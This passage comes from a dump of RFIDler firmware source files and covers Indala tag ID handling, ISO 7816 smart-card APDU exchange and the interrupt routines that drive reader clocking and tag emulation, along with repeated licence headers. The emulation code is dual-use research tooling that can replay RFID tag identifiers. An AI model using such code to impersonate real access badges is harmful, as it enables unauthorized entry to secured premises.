             *\r\n * This list is not exclusive, but is meant to clarify our interpretation  *\r\n * of derived works with some common examples.  Other people may interpret *\r\n * the plain GPL differently, so we consider this a special exception to   *\r\n * the GPL that we apply to Covered Software.  Works which meet any of     *\r\n * these conditions must conform to all of the terms of this license,      *\r\n * particularly including the GPL Section 3 requirements of providing      *\r\n * source code and allowing free redistribution of the work as a whole.    *\r\n *                                                                         *\r\n * As another special exception to the GPL terms, Aperture Labs Ltd. grants*\r\n * permission to link the code of this program with any version of the     *\r\n * OpenSSL library which is distributed under a license identical to that  *\r\n * listed in the included docs/licenses/OpenSSL.txt file, and distribute   *\r\n * linked combinations including the two.                                  *\r\n *                                                                         *\r\n * Any redistribution of Covered Software, including any derived works,    *\r\n * must obey and carry forward all of the terms of this license, including *\r\n * obeying all GPL rules and restrictions.  For example, source code of    *\r\n * the whole work must be provided and free redistribution must be         *\r\n * allowed.  All GPL references to \"this License\", are to be treated as    *\r\n * including the terms and conditions of this license text as well.        *\r\n *                                                                         *\r\n * Because this license imposes special exceptions to the GPL, Covered     *\r\n * Work may not be combined (even as part of a larger work) with plain GPL *\r\n * software.  The terms, conditions, and exceptions of this license must   *\r\n * be included as well.  This license is incompatible with some other open *\r\n * source licenses as well.  In some cases we can relicense portions of    *\r\n * RFIDler or grant special permissions to use it in other open source     *\r\n * software.  Please contact sales@aperturelabs.com with any such requests.*\r\n * Similarly, we don't incorporate incompatible open source software into  *\r\n * Covered Software without special permission from the copyright holders. *\r\n *                                                                         *\r\n * If you have any questions about the licensing restrictions on using     *\r\n * RFIDler in other works, are happy to help.  As mentioned above, we also *\r\n * offer alternative license to integrate RFIDler into proprietary         *\r\n * applications and appliances.  These contracts have been sold to dozens  *\r\n * of software vendors, and generally include a perpetual license as well  *\r\n * as providing for priority support and updates.  They also fund the      *\r\n * continued development of RFIDler.  Please email sales@aperturelabs.com  *\r\n * for further information.                                                *\r\n * If you have received a written license agreement or contract for        *\r\n * Covered Software stating terms other than these, you may choose to use  *\r\n * and redistribute Covered Software under those terms instead of these.   *\r\n *                                                                         *\r\n * Source is provided to this software because we believe users have a     *\r\n * right to know exactly what a program is going to do before they run it. *\r\n * This also allows you to audit the software for security holes (none     *\r\n * have been found so far).                                                *\r\n *                                                                         *\r\n * Source code also allows you to port RFIDler to new platforms, fix bugs, *\r\n * and add new features.  You are highly encouraged to send your changes   *\r\n * to the RFIDler mailing list for possible incorporation into the         *\r\n * main distribution.  By sending these changes to Aperture Labs Ltd. or   *\r\n * one of the Aperture Labs Ltd. development mailing lists, or checking    *\r\n * them into the RFIDler source code repository, it is understood (unless  *\r\n * you specify otherwise) that you are offering the RFIDler Project        *\r\n * (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse,       *\r\n * modify, and relicense the code.  RFIDler will always be available Open  *\r\n * Source, but this is important because the inability to relicense code   *\r\n * has caused devastating problems for other Free Software projects (such  *\r\n * as KDE and NASM).  We also occasionally relicense the code to third     *\r\n * parties as discussed above. If you wish to specify special license      *\r\n * conditions of your contributions, just say so when you send them.       *\r\n *                                                                         *\r\n * This program is distributed in the hope that it will be useful, but     *\r\n * WITHOUT ANY WARRANTY; without even the implied warranty of              *\r\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the RFIDler   *\r\n * license file for more details (it's in a COPYING file included with     *\r\n * RFIDler, and also available from                                        *\r\n *   https://github.com/ApertureLabsLtd/RFIDler/COPYING                    *\r\n *                                                                         *\r\n ***************************************************************************/\r\n\r\n// Author: Adam Laurie <adam@aperturelabs.com>\r\n// Anssi Kolehmainen contributed Indala64 validate & parity check\r\n\r\n\r\n// indala functions\r\n\r\n#include \"HardwareProfile.h\"\r\n#include \"rfidler.h\"\r\n#include \"USB/usb.h\"\r\n#include \"indala.h\"\r\n#include \"psk.h\"\r\n\r\n// send indala 64 or 224 bit id\r\nBOOL send_indala_raw(unsigned char *indala)\r\n{\r\n    unsigned char i, j, idblocks, tmp[65];\r\n    static unsigned char bits[257];\r\n    static unsigned long long id[4];\r\n\r\n    // check we're not already emulating\r\n    if(mGetLED_Emulate() == mLED_ON)\r\n        return;\r\n\r\n    // ensure IDs are left padded with '0'\r\n    memset(tmp, '0', 64);\r\n    tmp[64]= '\\0';\r\n\r\n    if(strlen(indala) > 16)\r\n    {\r\n        idblocks= 4;\r\n        for(i= 0, j= strlen(indala) - 1 ; i < strlen(indala) ; ++i, --j)\r\n            tmp[63 - i]= indala[j];\r\n    }\r\n    else\r\n    {\r\n        idblocks= 1;\r\n        j= strlen(indala) % 2;\r\n        strcpy(tmp + j, indala);\r\n    }\r\n\r\n    // now process up to 256 bits\r\n    for(j= 0 ; j < idblocks ; ++j)\r\n    {\r\n        if(!hextolonglong(&id[j], tmp + j * 16))\r\n                return 0;\r\n        for(i= 0 ; i < 64 ; ++i)\r\n            bits[i + j * 64]= (BYTE) (id[j] >> (63 - i)) & 0x01;\r\n    }\r\n\r\n    // skip the extra leading zeros\r\n    if(idblocks == 1)\r\n    {\r\n        i= 0;\r\n        j= 64;\r\n    }\r\n    else\r\n    {\r\n        i= 32;\r\n        j= 224;\r\n    }\r\n\r\n    return send_psk1_bin(bits + i, j, RFIDlerConfig.FrameClock, RFIDlerConfig.DataRate, RFIDlerConfig.DataRateSub0, RFIDlerConfig.Repeat);\r\n}\r\n\r\n// we currently do a raw select, then check for 101 terminator, parity, & 2 zero bits\r\nBOOL indala64_get_uid(BYTE *response)\r\n{\r\n    int bits;\r\n    int i, n;\r\n    \r\n    //Reading failed\r\n    if (!psk1_raw_get_uid(response) || (strlen(response) != 16))\r\n        return FALSE;\r\n\r\n    //Typical Indala64 key\r\n    //0x0000000123456785\r\n    //0b100100011010001010110011110000101\r\n    //                                ^^^- Always ends with 101\r\n    //                              ^^---- Parity bits, total must be odd\r\n    //                            ^^------ Always zero\r\n    //  ^^^^^^^^^^^^^^^^^^^^^^^^^^-------- (Per site) scrambled wiegand-26 data\r\n\r\n\r\n    //Last three bits should be 101\r\n    //if (response[7] & 0x7 != 5)\r\n    if (response[15] != '5' && response[15] != 'D')\r\n        return FALSE;\r\n\r\n    //There should be two zero bits as well\r\n    //if (response[7] & 0x60 != 0)\r\n    if (response[14] != '0' && response[14] != '1' && response[14] != '8' && response[14] != '9')\r\n        return FALSE;\r\n\r\n\r\n    //Parity check, count bits\r\n    for (i= 0, bits= 0; i < 16; i++)\r\n    {\r\n        if (response[i] >= 'a' && response[i] <= 'f')\r\n            n= response[i] - ('a' - 10);\r\n        else if (response[i] >= '0' && response[i] <= '9')\r\n            n= response[i] - '0';\r\n        else if (response[i] >= 'A' && response[i] <= 'F')\r\n            n= response[i] - ('A' - 10);\r\n        else\r\n            return FALSE;\r\n        bits += __builtin_popcount(n);\r\n    }\r\n\r\n    return bits % 2;\r\n}\r\n\r\n// since we currently don't know how to interpret indala data, just copy\r\nBOOL indala64_hex_to_uid(BYTE *response, BYTE *hex)\r\n{\r\n    if(!strlen(hex))\r\n        return FALSE;\r\n\r\n    strcpy(response, hex);\r\n    return TRUE;\r\n\r\n}\r\n\r\n// since we currently don't know how to interpret indala data, we just do a raw select\r\nBOOL indala224_get_uid(BYTE *response)\r\n{\r\n    return psk1_raw_get_uid(response);\r\n}\r\n\r\n// since we currently don't know how to interpret indala data, just copy\r\nBOOL indala224_hex_to_uid(BYTE *response, BYTE *hex)\r\n{\r\n    if(!strlen(hex))\r\n        return FALSE;\r\n\r\n    strcpy(response, hex);\r\n    return TRUE;\r\n}\r\n"
  },
  {
    "path": "firmware/Pic32/RFIDler.X/src/iso7816.c",
    "content": "/***************************************************************************\n * A copy of the GNU GPL is appended to this file.                         *\n *                                                                         *\n * This licence is based on the nmap licence, and we express our gratitude *\n * for the work that went into producing it. There is no other connection  *\n * between RFIDler and nmap either expressed or implied.                   *\n *                                                                         *\n ********************** IMPORTANT RFIDler LICENSE TERMS ********************\n *                                                                         *\n *                                                                         *\n * All references to RFIDler herein imply all it's derivatives, namely:    *\n *                                                                         *\n * o RFIDler-LF Standard                                                   *\n * o RFIDler-LF Lite                                                       *\n * o RFIDler-LF Nekkid                                                     *\n *                                                                         *\n *                                                                         *\n * RFIDler is (C) 2013-2014 Aperture Labs Ltd.                             *\n *                                                                         *\n * This program is free software; you may redistribute and/or modify it    *\n * under the terms of the GNU General Public License as published by the   *\n * Free Software Foundation; Version 2 (\"GPL\"), BUT ONLY WITH ALL OF THE   *\n * CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN.  This guarantees your   *\n * right to use, modify, and redistribute this software under certain      *\n * conditions.  If you wish to embed RFIDler technology into proprietary   *\n * software or hardware, we sell alternative licenses                      *\n * (contact sales@aperturelabs.com).                                       *\n *                                                                         *\n * Note that the GPL places important restrictions on \"derivative works\",  *\n * yet it does not provide a detailed definition of that term.  To avoid   *\n * misunderstandings, we interpret that term as broadly as copyright law   *\n * allows.  For example, we consider an application to constitute a        *\n * derivative work for the purpose of this license if it does any of the   *\n * following with any software or content covered by this license          *\n * (\"Covered Software\"):                                                   *\n *                                                                         *\n * o Integrates source code from Covered Software.                         *\n *                                                                         *\n * o Is designed specifically to execute Covered Software and parse the    *\n * results (as opposed to typical shell or execution-menu apps, which will *\n * execute anything you tell them to).                                     *\n *                                                                         *\n * o Includes Covered Software in a proprietary executable installer.  The *\n * installers produced by InstallShield are an example of this.  Including *\n * RFIDler with other software in compressed or archival form does not     *\n * trigger this provision, provided appropriate open source decompression  *\n * or de-archiving software is widely available for no charge.  For the    *\n * purposes of this license, an installer is considered to include Covered *\n * Software even if it actually retrieves a copy of Covered Software from  *\n * another source during runtime (such as by downloading it from the       *\n * Internet).                                                              *\n *                                                                         *\n * o Links (statically or dynamically) to a library which does any of the  *\n * above.                                                                  *\n *                                                                         *\n * o Executes a helper program, module, or script to do any of the above.  *\n *                                                                         *\n * This list is not exclusive, but is meant to clarify our interpretation  *\n * of derived works with some common examples.  Other people may interpret *\n * the plain GPL differently, so we consider this a special exception to   *\n * the GPL that we apply to Covered Software.  Works which meet any of     *\n * these conditions must conform to all of the terms of this license,      *\n * particularly including the GPL Section 3 requirements of providing      *\n * source code and allowing free redistribution of the work as a whole.    *\n *                                                                         *\n * As another special exception to the GPL terms, Aperture Labs Ltd. grants*\n * permission to link the code of this program with any version of the     *\n * OpenSSL library which is distributed under a license identical to that  *\n * listed in the included docs/licenses/OpenSSL.txt file, and distribute   *\n * linked combinations including the two.                                  *\n *                                                                         *\n * Any redistribution of Covered Software, including any derived works,    *\n * must obey and carry forward all of the terms of this license, including *\n * obeying all GPL rules and restrictions.  For example, source code of    *\n * the whole work must be provided and free redistribution must be         *\n * allowed.  All GPL references to \"this License\", are to be treated as    *\n * including the terms and conditions of this license text as well.        *\n *                                                                         *\n * Because this license imposes special exceptions to the GPL, Covered     *\n * Work may not be combined (even as part of a larger work) with plain GPL *\n * software.  The terms, conditions, and exceptions of this license must   *\n * be included as well.  This license is incompatible with some other open *\n * source licenses as well.  In some cases we can relicense portions of    *\n * RFIDler or grant special permissions to use it in other open source     *\n * software.  Please contact sales@aperturelabs.com with any such requests.*\n * Similarly, we don't incorporate incompatible open source software into  *\n * Covered Software without special permission from the copyright holders. *\n *                                                                         *\n * If you have any questions about the licensing restrictions on using     *\n * RFIDler in other works, are happy to help.  As mentioned above, we also *\n * offer alternative license to integrate RFIDler into proprietary         *\n * applications and appliances.  These contracts have been sold to dozens  *\n * of software vendors, and generally include a perpetual license as well  *\n * as providing for priority support and updates.  They also fund the      *\n * continued development of RFIDler.  Please email sales@aperturelabs.com  *\n * for further information.                                                *\n * If you have received a written license agreement or contract for        *\n * Covered Software stating terms other than these, you may choose to use  *\n * and redistribute Covered Software under those terms instead of these.   *\n *                                                                         *\n * Source is provided to this software because we believe users have a     *\n * right to know exactly what a program is going to do before they run it. *\n * This also allows you to audit the software for security holes (none     *\n * have been found so far).                                                *\n *                                                                         *\n * Source code also allows you to port RFIDler to new platforms, fix bugs, *\n * and add new features.  You are highly encouraged to send your changes   *\n * to the RFIDler mailing list for possible incorporation into the         *\n * main distribution.  By sending these changes to Aperture Labs Ltd. or   *\n * one of the Aperture Labs Ltd. development mailing lists, or checking    *\n * them into the RFIDler source code repository, it is understood (unless  *\n * you specify otherwise) that you are offering the RFIDler Project        *\n * (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse,       *\n * modify, and relicense the code.  RFIDler will always be available Open  *\n * Source, but this is important because the inability to relicense code   *\n * has caused devastating problems for other Free Software projects (such  *\n * as KDE and NASM).  We also occasionally relicense the code to third     *\n * parties as discussed above. If you wish to specify special license      *\n * conditions of your contributions, just say so when you send them.       *\n *                                                                         *\n * This program is distributed in the hope that it will be useful, but     *\n * WITHOUT ANY WARRANTY; without even the implied warranty of              *\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the RFIDler   *\n * license file for more details (it's in a COPYING file included with     *\n * RFIDler, and also available from                                        *\n *   https://github.com/ApertureLabsLtd/RFIDler/COPYING                    *\n *                                                                         *\n ***************************************************************************/\n\n// Author: Adam Laurie <adam@aperturelabs.com>\n\n// send iso 7816 apdu and automatically correct size error and get response data if offered\n// status is returned in cardResponse.SW1 and cardResponse.SW2\n// if available, data will be returned in apduData\n//\n\n#include \"HardwareProfile.h\"\n#include \"rfidler.h\"\n\n#include \"./Smart Card/SClib.h\"\n#include \"iso_7816.h\"\n#include \"util.h\"\n\n\n// smart card global buffers\nSC_APDU_COMMAND cardCommand;\nSC_APDU_RESPONSE cardResponse;\nBYTE apduData[255];\n\n// send iso 7816 apdu and automatically correct size error and get response data if offered\n// status is returned in cardResponse.SW1 and cardResponse.SW2\n// if available, data will be returned in apduData\nBOOL send_iso_7816_apdu(BYTE cla, BYTE ins, BYTE p1, BYTE p2, BYTE lc, BYTE *data, BYTE le)\n{\n    // clear old return values in case execution fails\n    cardResponse.RXDATALEN= 0;\n    cardResponse.SW1= 0x00;\n    cardResponse.SW2= 0x00;\n\n    cardCommand.CLA= cla;\n    cardCommand.INS= ins;\n    cardCommand.P1= p1;\n    cardCommand.P2= p2;\n    cardCommand.LC= lc;\n    cardCommand.LE= le;\n\n    if(lc)\n        memcpy(apduData, data, lc);\n\n    WaitMilliSec(10);\n    if(!SC_TransactT0(&cardCommand, &cardResponse, apduData))\n        return FALSE;\n\n    // wrong length - retransmit with corrected LE\n    if(cardResponse.SW1 == 0x6c)\n    {\n        cardCommand.LE= cardResponse.SW2;\n        WaitMilliSec(10);\n        if(!SC_TransactT0(&cardCommand, &cardResponse, apduData))\n            return FALSE;\n    }\n\n    // get response bytes if requested by target\n    if(cardResponse.SW1 == 0x61)\n    {\n        cardCommand.CLA = 0x00;\n        cardCommand.INS = 0xC0;\n        cardCommand.P1 = 0x00;\n        cardCommand.P2 = 0x00;\n        cardCommand.LC = 0x00;\n        cardCommand.LE= cardResponse.SW2;\n        WaitMilliSec(10);\n        if(!SC_TransactT0(&cardCommand, &cardResponse, apduData))\n            return FALSE;\n    }\n\n    // check final response\n    if(cardResponse.SW1 == 0x90 && cardResponse.SW2 == 0x00)\n        return TRUE;\n\n    return FALSE;\n}\n\n// convert HEX string APDU and send\nBOOL iso_7816_send_hex_apdu(BYTE *apdu)\n{\n    BYTE cla, ins, p1, p2, lc= 0, le= 0, i= 0;\n\n    // clear old return values in case execution fails\n    cardResponse.RXDATALEN= 0;\n    cardResponse.SW1= 0x00;\n    cardResponse.SW2= 0x00;\n\n    // we must have at least CLA + INS + P1 + P2\n    if(strlen(apdu) < 8)\n        return FALSE;\n\n    // note we don't do any data validation!\n    cla= hextobyte(&apdu[0]);\n    ins= hextobyte(&apdu[2]);\n    p1= hextobyte(&apdu[4]);\n    p2= hextobyte(&apdu[6]);\n\n    // assume last parameter is LE if only one more byte\n    if(strlen(apdu) == 10)\n        le= hextobyte(&apdu[8]);\n    else\n    {\n        lc= hextobyte(&apdu[8]);\n        for(i= 0 ; i < lc ; ++i)\n            TmpBuff[i]= hextobyte(&apdu[10 + i * 2]);\n\n        // process LE if present\n        if((strlen(apdu) / 2) > i + 6)\n            return FALSE; // malformed apdu - too many bytes!\n        if((strlen(apdu) / 2) == i + 6)\n            le= hextobyte(&apdu[i + 5]);\n    }\n\n    return send_iso_7816_apdu(cla, ins, p1, p2, lc, TmpBuff, le);\n}\n\n// show return as [DATA]+<SW1>+<SW2>\nvoid iso_7816_output(void)\n{\n    WORD i;\n\n    for(i= 0 ; i < cardResponse.RXDATALEN; ++i)\n        UserMessageNum(\"%02X\", apduData[i]);\n\n    UserMessageNum(\"%02X\", cardResponse.SW1);\n    UserMessageNum(\"%02X\\r\\n\", cardResponse.SW2);\n    UserMessage(\"%s\", \"\\r\\n\");\n}"
  },
  {
    "path": "firmware/Pic32/RFIDler.X/src/isr.c",
    "content": "/***************************************************************************\n * A copy of the GNU GPL is appended to this file.                         *\n *                                                                         *\n * This licence is based on the nmap licence, and we express our gratitude *\n * for the work that went into producing it. There is no other connection  *\n * between RFIDler and nmap either expressed or implied.                   *\n *                                                                         *\n ********************** IMPORTANT RFIDler LICENSE TERMS ********************\n *                                                                         *\n *                                                                         *\n * All references to RFIDler herein imply all it's derivatives, namely:    *\n *                                                                         *\n * o RFIDler-LF Standard                                                   *\n * o RFIDler-LF Lite                                                       *\n * o RFIDler-LF Nekkid                                                     *\n *                                                                         *\n *                                                                         *\n * RFIDler is (C) 2013-2014 Aperture Labs Ltd.                             *\n *                                                                         *\n * This program is free software; you may redistribute and/or modify it    *\n * under the terms of the GNU General Public License as published by the   *\n * Free Software Foundation; Version 2 (\"GPL\"), BUT ONLY WITH ALL OF THE   *\n * CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN.  This guarantees your   *\n * right to use, modify, and redistribute this software under certain      *\n * conditions.  If you wish to embed RFIDler technology into proprietary   *\n * software or hardware, we sell alternative licenses                      *\n * (contact sales@aperturelabs.com).                                       *\n *                                                                         *\n * Note that the GPL places important restrictions on \"derivative works\",  *\n * yet it does not provide a detailed definition of that term.  To avoid   *\n * misunderstandings, we interpret that term as broadly as copyright law   *\n * allows.  For example, we consider an application to constitute a        *\n * derivative work for the purpose of this license if it does any of the   *\n * following with any software or content covered by this license          *\n * (\"Covered Software\"):                                                   *\n *                                                                         *\n * o Integrates source code from Covered Software.                         *\n *                                                                         *\n * o Is designed specifically to execute Covered Software and parse the    *\n * results (as opposed to typical shell or execution-menu apps, which will *\n * execute anything you tell them to).                                     *\n *                                                                         *\n * o Includes Covered Software in a proprietary executable installer.  The *\n * installers produced by InstallShield are an example of this.  Including *\n * RFIDler with other software in compressed or archival form does not     *\n * trigger this provision, provided appropriate open source decompression  *\n * or de-archiving software is widely available for no charge.  For the    *\n * purposes of this license, an installer is considered to include Covered *\n * Software even if it actually retrieves a copy of Covered Software from  *\n * another source during runtime (such as by downloading it from the       *\n * Internet).                                                              *\n *                                                                         *\n * o Links (statically or dynamically) to a library which does any of the  *\n * above.                                                                  *\n *                                                                         *\n * o Executes a helper program, module, or script to do any of the above.  *\n *                                                                         *\n * This list is not exclusive, but is meant to clarify our interpretation  *\n * of derived works with some common examples.  Other people may interpret *\n * the plain GPL differently, so we consider this a special exception to   *\n * the GPL that we apply to Covered Software.  Works which meet any of     *\n * these conditions must conform to all of the terms of this license,      *\n * particularly including the GPL Section 3 requirements of providing      *\n * source code and allowing free redistribution of the work as a whole.    *\n *                                                                         *\n * As another special exception to the GPL terms, Aperture Labs Ltd. grants*\n * permission to link the code of this program with any version of the     *\n * OpenSSL library which is distributed under a license identical to that  *\n * listed in the included docs/licenses/OpenSSL.txt file, and distribute   *\n * linked combinations including the two.                                  *\n *                                                                         *\n * Any redistribution of Covered Software, including any derived works,    *\n * must obey and carry forward all of the terms of this license, including *\n * obeying all GPL rules and restrictions.  For example, source code of    *\n * the whole work must be provided and free redistribution must be         *\n * allowed.  All GPL references to \"this License\", are to be treated as    *\n * including the terms and conditions of this license text as well.        *\n *                                                                         *\n * Because this license imposes special exceptions to the GPL, Covered     *\n * Work may not be combined (even as part of a larger work) with plain GPL *\n * software.  The terms, conditions, and exceptions of this license must   *\n * be included as well.  This license is incompatible with some other open *\n * source licenses as well.  In some cases we can relicense portions of    *\n * RFIDler or grant special permissions to use it in other open source     *\n * software.  Please contact sales@aperturelabs.com with any such requests.*\n * Similarly, we don't incorporate incompatible open source software into  *\n * Covered Software without special permission from the copyright holders. *\n *                                                                         *\n * If you have any questions about the licensing restrictions on using     *\n * RFIDler in other works, are happy to help.  As mentioned above, we also *\n * offer alternative license to integrate RFIDler into proprietary         *\n * applications and appliances.  These contracts have been sold to dozens  *\n * of software vendors, and generally include a perpetual license as well  *\n * as providing for priority support and updates.  They also fund the      *\n * continued development of RFIDler.  Please email sales@aperturelabs.com  *\n * for further information.                                                *\n * If you have received a written license agreement or contract for        *\n * Covered Software stating terms other than these, you may choose to use  *\n * and redistribute Covered Software under those terms instead of these.   *\n *                                                                         *\n * Source is provided to this software because we believe users have a     *\n * right to know exactly what a program is going to do before they run it. *\n * This also allows you to audit the software for security holes (none     *\n * have been found so far).                                                *\n *                                                                         *\n * Source code also allows you to port RFIDler to new platforms, fix bugs, *\n * and add new features.  You are highly encouraged to send your changes   *\n * to the RFIDler mailing list for possible incorporation into the         *\n * main distribution.  By sending these changes to Aperture Labs Ltd. or   *\n * one of the Aperture Labs Ltd. development mailing lists, or checking    *\n * them into the RFIDler source code repository, it is understood (unless  *\n * you specify otherwise) that you are offering the RFIDler Project        *\n * (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse,       *\n * modify, and relicense the code.  RFIDler will always be available Open  *\n * Source, but this is important because the inability to relicense code   *\n * has caused devastating problems for other Free Software projects (such  *\n * as KDE and NASM).  We also occasionally relicense the code to third     *\n * parties as discussed above. If you wish to specify special license      *\n * conditions of your contributions, just say so when you send them.       *\n *                                                                         *\n * This program is distributed in the hope that it will be useful, but     *\n * WITHOUT ANY WARRANTY; without even the implied warranty of              *\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the RFIDler   *\n * license file for more details (it's in a COPYING file included with     *\n * RFIDler, and also available from                                        *\n *   https://github.com/ApertureLabsLtd/RFIDler/COPYING                    *\n *                                                                         *\n ***************************************************************************/\n\n// Author: Adam Laurie <adam@aperturelabs.com>\n\n// bad stuff happens if this gets optimised!\n#pragma GCC optimize(\"O0\")\n\n#include \"HardwareProfile.h\"\n#include \"rfidler.h\"\n#include \"rwd.h\"\n#include \"comms.h\"\n\nunsigned long HW_Bits;\nBYTE HW_Skip_Bits;                      // skip arbitrary number of leading bits (externally adjusted for manchester/biphase)\nunsigned int PSK_Min_Pulse;\nBOOL PSK_Read_Error= FALSE;\nBOOL Manchester_Error= FALSE;\nunsigned int Clock_Tick_Counter;        // provide external routines with accurate count of ticks\nBOOL Clock_Tick_Counter_Reset= TRUE;    // provide external routines with means to reset tick counter\nunsigned long Reader_Bit_Count= 0L;     // make this externally visible so init routines can clear it\nchar Previous= -1;                      // make this externally visible so init routines can clear it\n\n// Interrupt Service Routines\n//\n\n// Reader clock ISR\n// also process RWD commands while we toggle clock line\nvoid __ISR(_OUTPUT_COMPARE_5_VECTOR, ipl6auto) reader_clock_tick (void)\n{\n    static unsigned int count; // internal tick counter in case we interfere with external timers\n\n    // Clear interrupt flag\n    mOC5ClearIntFlag();\n\n    mLED_Clock_On();\n\n    // update tick counter for external FC timer routines\n    if(Clock_Tick_Counter_Reset)\n        Clock_Tick_Counter= Clock_Tick_Counter_Reset= 0;\n    Clock_Tick_Counter++;\n\n    // process RWD commands (if any)\n    switch (RWD_State)\n    {\n        case RWD_STATE_INACTIVE:\n        case RWD_STATE_ACTIVE:\n            //DEBUG_PIN_4= !DEBUG_PIN_4;\n            break;\n\n        case RWD_STATE_GO_TO_SLEEP:\n            //DEBUG_PIN_4= !DEBUG_PIN_4;\n            //DEBUG_PIN_4= !DEBUG_PIN_4;\n            // initial shutdown of coil to restart tag\n            READER_CLOCK_ENABLE_OFF(LOW);\n            // use our own clock ticks to time delay\n            count= 0;\n            RWD_State= RWD_STATE_SLEEPING;\n            break;\n\n        case RWD_STATE_SLEEPING:\n            if(count++ < RWD_Sleep_Period)\n                break;\n            // restart clock only if we have a wake period\n            if(RWD_Wake_Period)\n                READER_CLOCK_ENABLE_ON();\n            count= 0;\n            RWD_State= RWD_STATE_WAKING;\n            break;\n\n        case RWD_STATE_WAKING:\n            //DEBUG_PIN_4= !DEBUG_PIN_4;\n            // leave coil running for wakeup period\n            if(count++ < RWD_Wake_Period)\n                break;\n            if(*RWD_Command_ThisBit != '*')\n                RWD_State= RWD_STATE_START_SEND;\n            else\n                RWD_State= RWD_STATE_ACTIVE;\n            break;\n\n        case RWD_STATE_START_SEND:\n            //DEBUG_PIN_4= !DEBUG_PIN_4;\n            // send initial gap\n            READER_CLOCK_ENABLE_OFF(LOW);\n            count= 0;\n            RWD_State= RWD_STATE_SENDING_GAP;\n            break;\n\n        case RWD_STATE_SENDING_GAP:\n            if(count++ < RWD_Gap_Period)\n                break;\n            // gap over, switch clock back on\n            READER_CLOCK_ENABLE_ON();\n            count= 0;\n            RWD_State= RWD_STATE_SENDING_BIT;\n            //DEBUG_PIN_4= !DEBUG_PIN_4;\n            break;\n\n        case RWD_STATE_SENDING_BIT:\n            //DEBUG_PIN_4= !DEBUG_PIN_4;\n            if(*RWD_Command_ThisBit == '*')\n            {\n                RWD_State= RWD_STATE_POST_WAIT;\n                count= 0;\n                break;\n            }\n            // clock running for bit period, then wait for gap period\n            if((*RWD_Command_ThisBit && count == RWD_One_Period) || (!*RWD_Command_ThisBit && count == RWD_Zero_Period))\n            {\n                // start sending gap\n                READER_CLOCK_ENABLE_OFF(LOW);\n                ++RWD_Command_ThisBit;\n                count= 0;\n                RWD_State= RWD_STATE_SENDING_GAP;\n                break;\n            }\n            else\n                count++;\n            break;\n\n        case RWD_STATE_POST_WAIT:\n            //DEBUG_PIN_4= !DEBUG_PIN_4;\n            // coil running for forced post-command wait period\n            if(count++ < RWD_Post_Wait)\n                break;\n            count= 0;\n            RWD_State= RWD_STATE_ACTIVE;\n            break;\n\n        default:\n            break;\n    }\n}\n\n// Emulate TAG ISR\n// this ISR does the actual send of a '*' terminated bitstream\n// mLED_Antenna is set during emulation, and can be used as a semaphore to detect emulation in progress\n// note that the best resolution we can achieve on a pic32 seems to be 2us\n//\n// setup routine is responsible for:\n//\n//   setting clock period and arming interrupt\n//   setting global variables:\n//\n//     EMU_ThisBit              - the next bit to output (as 0x00 or 0x01)\n//     *EMU_Data                - pointer to array of 0x00/0x01 values, '*' terminated\n//                                inital value should be &EMU_ThisBit + 1\n//     *EMU_Reset_Data          - pointer to the complete data array\n//     EMU_Repeat               - number of times to repeat full data pattern (0 means send once)\n//     EMU_Invert               - Invert 0x00/0x01 values TRUE/FALSE\n//     EMU_DataBitRate          - Frame Clocks Per Bit\n//     EMU_SubCarrier_T0         - 1st sub-carrier Frame Clocks\n//     EMU_SubCarrier_T1        - 2nd sub-carrier Frame Clocks\n//     EMU_Manchester           - Manchester Encoding TRUE/FALSE\n//     EMU_BiPhase              - BiPhase Encoding TRUE/FALSE\nvoid __ISR(_TIMER_3_VECTOR, ipl7auto) emulation_send_bit (void)\n{\n    static unsigned int count= 0;\n\n    // ack interrupt\n    mT3ClearIntFlag();\n\n#ifdef RFIDLER_DEBUG\n    // show bit value\n    //DEBUG_PIN_1= EMU_ThisBit;\n\n    // show tick\n    //DEBUG_PIN_2= !DEBUG_PIN_2;\n#endif\n\n    // are we finished?\n    if(EMU_ThisBit == '*')\n    {\n        if(!EMU_Background && !(EMU_Repeat--))\n        {\n            CloseTimer3();\n            mLED_Emulate_Off();\n            count= 0;\n            COIL_OUT= 0;\n            return;\n        }\n        // repeat\n        EMU_Data= EMU_Reset_Data;\n        EMU_ThisBit= *(EMU_Data++);\n        count= 0;\n    }\n\n    // count reflects the FC we are about to process, starting from 1\n    // so we can calulate bit periods and sub-carriers.\n    // count should be reset after each full bit.\n    ++count;\n\n    // output and set up bit for next tick\n    switch(EmulationMode)\n    {\n        // ASK / OOK - we get called once per bit just toggle the line according to bit value\n        //\n        // MANCHESTER/BI_PHASE - we get called twice per bit, half-bit toggles\n        //\n        case MOD_MODE_ASK_OOK:\n            // output half-bit? manchester always toggles, biphase only toggles if it's a 1\n            if(count == EMU_SubCarrier_T0 && (RFIDlerConfig.Manchester || (RFIDlerConfig.BiPhase && (EMU_ThisBit ^ RFIDlerConfig.Invert))))\n                COIL_OUT= !COIL_OUT;\n            // output current bit\n            else\n            {\n                // biphase always toggles on a full bit period\n                if(RFIDlerConfig.BiPhase)\n                {\n                    if (count % EMU_DataBitRate)\n                    COIL_OUT= !COIL_OUT;\n                }\n                else\n                    COIL_OUT= (EMU_ThisBit ^ RFIDlerConfig.Invert);\n            }\n            // is this a bit period?\n            if (count == EMU_DataBitRate)\n            {\n                // set the next bit value\n                EMU_ThisBit= *(EMU_Data++);\n                count= 0;\n            }\n            break;\n\n        // FSK - we get called N times per bit\n        // create sub-carriers T0 & T1 for bit values 0 and 1\n        // e.g. if bit period N is 40 ticks (RF/40) and T0 is RF/8 and T1 is RF/5\n        // then T0 is 8 ticks and T1 is 5 ticks.\n        // note that we must independantly check for end of bit period for each sub-carrier\n        // to cater for cases where there is no common clock multiple (e.g. HID: RF/8 & RF/10)\n        case MOD_MODE_FSK1:\n        case MOD_MODE_FSK2:\n            // output sub-carriers\n            // if current bit is a '1'\n            if(EMU_ThisBit ^ RFIDlerConfig.Invert)\n            {\n                if(!(count % EMU_SubCarrier_T1))\n                    COIL_OUT= !COIL_OUT;\n                // rounded bit period?\n                if (!(count % ((EMU_DataBitRate / EMU_SubCarrier_T1) * 